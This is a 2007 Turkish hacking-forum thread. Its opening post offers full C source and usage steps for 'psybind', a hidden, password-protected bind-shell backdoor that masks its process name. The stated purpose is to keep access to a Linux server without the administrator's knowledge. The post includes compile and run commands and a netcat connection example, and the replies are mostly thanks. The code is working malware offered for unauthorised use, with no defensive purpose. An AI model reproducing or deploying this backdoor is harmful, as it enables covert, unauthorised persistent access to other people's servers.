Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi

Anasayfa Forumlar Yeni Mesajlar Bugünün Mesajları Üye Ol
Geri git   Turkish Hacking Sabotage | Türkiyenin En Büyük Hack Ve Security Sitesi > Hacking Center > Exploitler
Sayfaya güncelle Shell Hesabı Yaratma
Exploitler Exploitler hakkında bilmek istedikleriniz.

Konu Bilgileri
Konu Başlığı
Shell Hesabı Yaratma
Konudaki Cevap Sayısı
14
Şuan Bu Konuyu Görüntüleyenler
 
Görüntülenme Sayısı
509
Cevapla
 
Seçenekler Stil
Shell Hesabı Yaratma
Alt
  (#1)
GoLD_KiNG is Offline
[10]Yeni Üye
GoLD_KiNG will become famous soon enoughGoLD_KiNG will become famous soon enough
 
GoLD_KiNG - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 746
>Açtığı Konu: 39

Level: 24 [♥ Bé-Yêu ♥]
Paylaşım: 59 / 592
Güç: 248 / 2506
Tecrübe: 70%

Üyelik tarihi: Apr 2007
Kullanıcı No: 13325
Rep Puani: 144
Rep Derecesi : GoLD_KiNG will become famous soon enoughGoLD_KiNG will become famous soon enough
   
Standart Shell Hesabı Yaratma - 06-22-2007



Herhangi bir linux servera erişiminiz olduğunu ve bu erişimin süre ile kısıtlı olduğunu
düşünün... Bu public bir shell sunucusu olabileceği gibi, arkadaşınızın, ya da bir şekilde
bağlantı sağlayabildiniz bir sunucu olduğunu ve bu sunucuya tekrar adminin haberi olmadan
erişmek istediğinizi düşünün ...

Tabii ki sunucuya bir backdoor kurarsınız... Ancak bu backdoorun oldukça gelişmiş ve
kendini saklayabilen bir backdoor olması gerekmekte. Ve de sizin çözümünüz Psuedo

Öncelikle dosyamızı ekten indirin ve backdoor açmak istediğiniz sunucuya aktarın.
Ve ardından aşağıdaki adımları izleyin:

1- gcc - o psybind psybind.c komutu ile dosyayı compile edin.
2- ./psybind -s /bin/sh -c apache -r /home -w sifre -p 7654
Buradaki apache görünecek process ismi(bunu top komutu ile çalışan processleri listeleyip
istediğinizi seçerekte yapabilirsiniz), /bin/sh shell pathi, /home başlangıç klasoru, -w
tabiiki şifre ve 7654 te bağlantı portu.

./psybind yazarak paramterlereleri görebilirsiniz.

3- Kendi bilgisayarınızdan ayarladığınız port ile sunucuya bağlantı kurun ve
keyfinize bakın


Kod:
/*
O O o o . . . . . . . . o o O O
O O
. .
. RST/GHC Pseudo Bind Shell [ psybind.c ] .
. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= .
. [v 1.0.0] .

[Compiling]: 
$ gcc -o psybind psybind.c

[Usage]:
$ ./psybind <options>

[Option] [Default] [Description]
-p [7654] Port number
-w [rstghc] Set password
-r [/] Start path
-c [[HTTP]] Fake process name
-s [/bin/bash] Shell(program) path
-h This screen

[Example]: 
. Run in Remote Host: .
. $ ./psybind -s /bin/sh -c girl -r /home -w 123 -p 31337 .
. .
. To connect with remote computer: .
o $ nc 127.0.0.1 31337 o
o o
O Code by Dr_UF0_51 (civufo[at]mail.ru) O
O Good luck ;) O
O O o o . . . . . . . . o o O O 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <netinet/in.h>
#include <errno.h>
#include <termios.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <strings.h>
#include <signal.h>
#include <wait.h>
#include <string.h>

#define BUFSIZE 1024

void usage(void);
void waitpd(int);

char motd[] = "\nWelcome to RST/GHC - Pseudo Bind Shell\n\n";

int main(int arg, char **param)
{
int sd, nread, datas, td, i, dn, pid;
int sins = 0x10; // Size
int ptym, ptyn;

struct sockaddr_in saddrs;
struct sockaddr_in saddrd;
struct termios terms;

fd_set fds;
char *buffer[BUFSIZE];
char *password[255], c;

int port = 7654; // Port number
char pass[255] = "rstghc"; // Password
char path[255] = "/"; // Start path
char cmdname[255] = "[HTTP]"; // Fake process name
char shell[255] = "/bin/bash"; // Program [shell]

/* Arguments */
while(( c = getopt(arg, param, "p:w:c:r:s:h")) > 0)
switch(c)
{
case 'p': 
port = atoi(optarg); 
break;
case 'w': 
strncpy(pass, optarg, 255); 
break;
case 'c':
strncpy(cmdname, optarg, 255);
break;
case 'r': 
strncpy(path, optarg, 255); 
break;
case 's':
strncpy(shell, optarg, 255);
break;
case 'h': 
usage(); 
exit(0); 
break;
}

/* Port check */
if( port > 65535 | port < 1)
{
fprintf(stderr, "Error: Ports must be > 0 and < 65535\n");
exit(1);
}

/* Creat Socket struct */
bzero(&saddrs, sizeof(saddrs));
saddrs.sin_family = AF_INET;
saddrs.sin_port = htons(port); 
saddrs.sin_addr.s_addr = INADDR_ANY;

/* Creat Socket */
if(( sd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
{
fprintf(stderr, "Error[%d]: Creat Socket Failed\n", errno);
exit(2);
}

/* Bind Port */
if( bind(sd, (struct sockaddr *)&saddrs, sizeof(saddrs)) < 0)
{
fprintf(stderr, "Error[%d]: Bind Port Failed\n", errno);
close(sd);
exit(3);
}

/* Listen Port */
if( listen(sd, 5) < 0) // Max active connections = 5
{
fprintf(stderr, "Error[%d]: Listen Port Failed\n", errno);
close(sd);
exit(4);
}

/* PID */
if((pid = fork()) != 0)
{
printf("Shell Started.. [pid = %d] Good luck ;)\n", pid) ;
exit(0);
} 

chdir(path); // Path
setsid(); // Run in a new session
signal(SIGCHLD, waitpd); // Waitpid

/* Wait Data */
for(;;)
{ 
if(( datas = accept(sd, (struct sockaddr *)&saddrd, &sins)) > 0) // If data accepted, start
if((pid = fork()) < 0) 
continue;
else if(pid == 0)
{

/* Open Pseudo - Terminal Master*/
if(( ptym = getpt()) < 0)
{
fprintf(stderr, "Error[%d]: Can't Open Pseudo - Terminal Master\n", errno);
exit(5);
}

/* Unlock Slave Pseudo Terminal */
if( unlockpt(ptym) < 0 ) 
{
fprintf(stderr, "Error[%d]: Can't Unlock Slave Pseudo Terminal\n", errno);
exit(6);
}

/* Process Group Id*/
if(setpgid(0, 0) < 0)
{
fprintf(stderr, "Error[%d]: Setpgid Failed\n", errno);
exit(8);
}

ptyn = ptsname(ptym); // Name of the slave pseudo-terminal
tcgetattr(0, &terms); // Sandart input

/* Open terminal */
if(( td = open((char *)ptyn, O_RDWR)) < 0)
{
fprintf(stderr, "Error[%d]: Can't Open Terminal Name\n", errno);
exit(7);
}

/* Fork */ 
if( fork() == 0)
{
if(setsid() < 0) 
{ 
fprintf(stderr, "Error[%d]: setsid Failed\n", errno);
exit(6);
}

tcsetattr(td, TCSANOW, &terms); // Set parametr now

write(td, "Password: ", 10);
read(td, password, sizeof(password));

dup2(td, 0);
dup2(td, 1);
dup2(td, 2);

/* Check password */
if(!chpass(password, pass))
{
write(td, motd, strlen(motd));
close(td);
execl( shell, cmdname, 0); // Exec shell
}
close(td);
}

close(td);

for(;;)
{
FD_ZERO(&fds);
FD_SET(datas, &fds); // Set datas for select
FD_SET(ptym, &fds); // Set ptym for select

if((i = select( ptym + 1, &fds, NULL, NULL, NULL)) <= 0)// Wait data for select descriptor
break; 

if(FD_ISSET(datas, &fds)) // If socket
{
bzero(buffer, sizeof(buffer));
if(( nread = read (datas, buffer, BUFSIZE)) <= 0)
break;
if( write(ptym, buffer, nread) <= 0) 
break;
}

if(FD_ISSET(ptym, &fds)) // If pty
{
bzero(buffer, sizeof(buffer));
if(( nread = read ( ptym, buffer, BUFSIZE)) <= 0)
break;
if(write(datas, buffer, nread) <= 0) 
break;
}
}
close(datas);
close(ptym);
exit(0);
} // fork
close(datas);
} // for
}

/** Waitpid (fucking zombie ;) **/
void waitpd(int i)
{
waitpid(-1, NULL, WNOHANG);
}

/** Usage **/
void usage(void)
{
printf("\n\t RST/GHC Pseudo Bind Shell");
printf("\t =--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=\n");
printf("\t\t\t\t\t\t\t\tby Dr_UF0_51\n\n");
printf("Usage: ./psybind <options>\n");
printf("\t-p [7654] Port number\n");
printf("\t-w [rstghc] Set password\n");
printf("\t-r [/] Start path\n");
printf("\t-c [[HTTP]] Fake process name\n");
printf("\t-s [/bin/bash] Shell(program) path\n");
printf("\t-h This screen\n");
}

/** Check Password **/
int chpass(char *str1, char *str2)
{
int i, s1 = 0, k = 1;

if(str1[strlen(str1) - 1] = 0x0d) k++; // if telnet
for(i = 0; i < strlen(str1) - k; i++)
if( str1[i] != str2[i] ) 
{
s1 = 1;
break;
}
if( strlen(str1) == k ) s1 = 1; // If ENTER pressed

return(s1);
}
alıntı...
  
Alıntı ile Cevapla

Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#2)
oguzmaster is Offline
[10]Yeni Üye
oguzmaster will become famous soon enoughoguzmaster will become famous soon enough
 
oguzmaster - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 19
>Açtığı Konu: 1

Level: 3 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 52
Güç: 6 / 205
Tecrübe: 9%

Üyelik tarihi: Jun 2007
Kullanıcı No: 62348
Rep Puani: 100
Rep Derecesi : oguzmaster will become famous soon enoughoguzmaster will become famous soon enough
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 06-22-2007



eyvallah super baba işimize yarar bu
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#3)
__ScorpioN__ is Offline
[10]Yeni Üye
__ScorpioN__ has a spectacular aura about__ScorpioN__ has a spectacular aura about
 
__ScorpioN__ - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 438
>Açtığı Konu: 51

Level: 19 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 46 / 460
Güç: 146 / 1793
Tecrübe: 43%

Üyelik tarihi: Jun 2007
Kullanıcı No: 68926
Rep Puani: 150
Rep Derecesi : __ScorpioN__ has a spectacular aura about__ScorpioN__ has a spectacular aura about
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 06-22-2007



sağol çok teşekkür ederiz

Konu BL@DE tarafından (04-25-2008 Saat 11:23 PM ) değiştirilmiştir..
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#4)
GoLD_KiNG is Offline
[10]Yeni Üye
GoLD_KiNG will become famous soon enoughGoLD_KiNG will become famous soon enough
 
GoLD_KiNG - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 746
>Açtığı Konu: 39

Level: 24 [♥ Bé-Yêu ♥]
Paylaşım: 59 / 592
Güç: 248 / 2506
Tecrübe: 70%

Üyelik tarihi: Apr 2007
Kullanıcı No: 13325
Rep Puani: 144
Rep Derecesi : GoLD_KiNG will become famous soon enoughGoLD_KiNG will become famous soon enough
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 06-23-2007



sizler sağolun

Konu BL@DE tarafından (04-25-2008 Saat 11:24 PM ) değiştirilmiştir..
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#5)
StaRkoLiK is Offline
[10]Yeni Üye
StaRkoLiK has a spectacular aura aboutStaRkoLiK has a spectacular aura about
 
StaRkoLiK - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 329
>Açtığı Konu: 23

Level: 16 [♥ Bé-Yêu ♥]
Paylaşım: 39 / 398
Güç: 109 / 1712
Tecrübe: 94%

Üyelik tarihi: Apr 2007
Kullanıcı No: 909
Rep Puani: 180
Rep Derecesi : StaRkoLiK has a spectacular aura aboutStaRkoLiK has a spectacular aura about
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 06-25-2007



Paylaşım için sağol


bunu okuyan yetkili // üyeliqimi siL...!

Konu BL@DE tarafından (04-26-2008 Saat 12:25 AM ) değiştirilmiştir..
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#6)
GalatasarayLee is Offline
[10]Yeni Üye
GalatasarayLee will become famous soon enoughGalatasarayLee will become famous soon enough
 
GalatasarayLee - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 93
>Açtığı Konu: 0

Level: 8 [♥ Bé-Yêu ♥]
Paylaşım: 0 / 190
Güç: 31 / 817
Tecrübe: 62%

Üyelik tarihi: Apr 2007
Kullanıcı No: 2104
Rep Puani: 100
Rep Derecesi : GalatasarayLee will become famous soon enoughGalatasarayLee will become famous soon enough
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 06-25-2007



paylaşım için teşekkürler

Konu BL@DE tarafından (04-26-2008 Saat 12:25 AM ) değiştirilmiştir..
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#7)
GoLD_KiNG is Offline
[10]Yeni Üye
GoLD_KiNG will become famous soon enoughGoLD_KiNG will become famous soon enough
 
GoLD_KiNG - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 746
>Açtığı Konu: 39

Level: 24 [♥ Bé-Yêu ♥]
Paylaşım: 59 / 592
Güç: 248 / 2506
Tecrübe: 70%

Üyelik tarihi: Apr 2007
Kullanıcı No: 13325
Rep Puani: 144
Rep Derecesi : GoLD_KiNG will become famous soon enoughGoLD_KiNG will become famous soon enough
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 07-07-2007



Rica edeırm!


  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#8)
akrep_cakir_61 is Offline
[10]Yeni Üye
akrep_cakir_61 will become famous soon enoughakrep_cakir_61 will become famous soon enough
 
akrep_cakir_61 - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 520
>Açtığı Konu: 24

Level: 21 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 50 / 500
Güç: 173 / 1981
Tecrübe: 3%

Üyelik tarihi: Jun 2007
Kullanıcı No: 56978
Nerden: TRABZON
Rep Puani: 100
Rep Derecesi : akrep_cakir_61 will become famous soon enoughakrep_cakir_61 will become famous soon enough
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 07-11-2007



paylasım ıcın tessekkurler


ZAFERE GİDEN YOLDA,CEKİLEN ÇİLE KUTSALDIR..!!!!!!
61 61 61 AKREP_CAKİR_61 61 61

Konu BL@DE tarafından (04-26-2008 Saat 12:32 AM ) değiştirilmiştir..
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#9)
KewRew is Offline
[10]Yeni Üye
KewRew will become famous soon enoughKewRew will become famous soon enough
 
KewRew - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 20
>Açtığı Konu: 2

Level: 3 [♥ Bé-Yêu ♥♥ Bé-Yêu ♥]
Paylaşım: 0 / 55
Güç: 6 / 136
Tecrübe: 20%

Üyelik tarihi: Dec 2007
Kullanıcı No: 194532
Rep Puani: 100
Rep Derecesi : KewRew will become famous soon enoughKewRew will become famous soon enough
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 12-11-2007



sağolasin...


“İnsanların en hayırlısı, insanlara faydalı olanıdır [ HZ.MUHAMMED (SAV)]”.

Konu BL@DE tarafından (04-26-2008 Saat 12:32 AM ) değiştirilmiştir..
  
Alıntı ile Cevapla
Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor]
Alt
  (#10)
By Nefret is Offline
[10]Yeni Üye
By Nefret has a spectacular aura aboutBy Nefret has a spectacular aura about
 
By Nefret - ait Kullanıcı Resmi (Avatar)
 
>Mesaj Sayısı: 1,379
>Açtığı Konu: 273

Level: 31 [♥ Bé-Yêu ♥]
Paylaşım: 309 / 773
Güç: 459 / 1948
Tecrübe: 94%

Üyelik tarihi: Nov 2007
Kullanıcı No: 191553
Nerden: Bilgisayarım.Yerel Disc C.Windows.System 32.Kadızade Mahallesi.No:69.Bayburt.|69|
Rep Puani: 189
Rep Derecesi : By Nefret has a spectacular aura aboutBy Nefret has a spectacular aura about
   
Standart Cevap: Shell Hesabınız yok mu ? Kendiniz Yaratın ! [ Pseudo Backdoor] - 12-17-2007



paylasım için saol
  
Alıntı ile Cevapla
Cevapla

Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil

Yetkileriniz
Yeni Mesaj yazma yetkiniz aktif değil dir.
Mesajlara Cevap verme yetkiniz aktif değil dir.
Eklenti ekleme yetkiniz aktif değil dir.
Kendi Mesajınızı değiştirme yetkiniz aktif değil dir.

<